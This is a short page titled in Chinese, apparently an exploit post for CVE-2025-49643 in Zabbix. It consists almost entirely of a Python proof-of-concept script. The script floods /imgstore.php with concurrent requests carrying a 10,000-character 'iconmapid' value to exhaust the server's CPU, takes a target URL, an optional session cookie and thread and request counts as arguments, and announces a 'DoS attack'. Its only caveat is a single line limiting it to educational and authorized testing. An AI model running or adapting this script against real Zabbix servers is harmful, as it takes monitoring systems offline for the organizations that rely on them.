CVE-2025-49643 Zabbix /imgstore.php拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-49643 PoC - Zabbix /imgstore.php DoS Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def exploit_doS(target_url, session_cookie=None): """ Send crafted parameters to /imgstore.php to trigger CPU exhaustion. Parameters: target_url: Base URL of the Zabbix instance session_cookie: Zabbix session cookie for authentication """ exploit_url = f"{target_url}/imgstore.php" # Crafted parameters that trigger disproportionate CPU load # These parameters exploit the image storage processing logic params = { 'output': 'image', 'iconmapid': '1' * 10000, # Large parameter value 'imageid': 'test', } headers = {} if session_cookie: headers['Cookie'] = f'zbx_session={session_cookie}' try: response = requests.get(exploit_url, params=params, headers=headers, timeout=30) return response.status_code, len(response.content) except requests.RequestException as e: return None, str(e) def main(): parser = argparse.ArgumentParser(description='CVE-2025-49643 PoC') parser.add_argument('--url', required=True, help='Target Zabbix URL') parser.add_argument('--cookie', help='Session cookie (optional for Guest)') parser.add_argument('--threads', type=int, default=10, help='Number of concurrent requests') parser.add_argument('--requests', type=int, default=100, help='Total requests to send') args = parser.parse_args() print(f'[*] Starting DoS attack against {args.url}') print(f'[*] Using {args.threads} concurrent threads') with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [ executor.submit(exploit_doS, args.url, args.cookie) for _ in range(args.requests) ] for i, future in enumerate(as_completed(futures), 1): status, size = future.result() if status: print(f'[{i}] Status: {status}, Response size: {size}') else: print(f'[{i}] Request failed: {size}') print('[*] Attack completed') if __name__ == '__main__': main()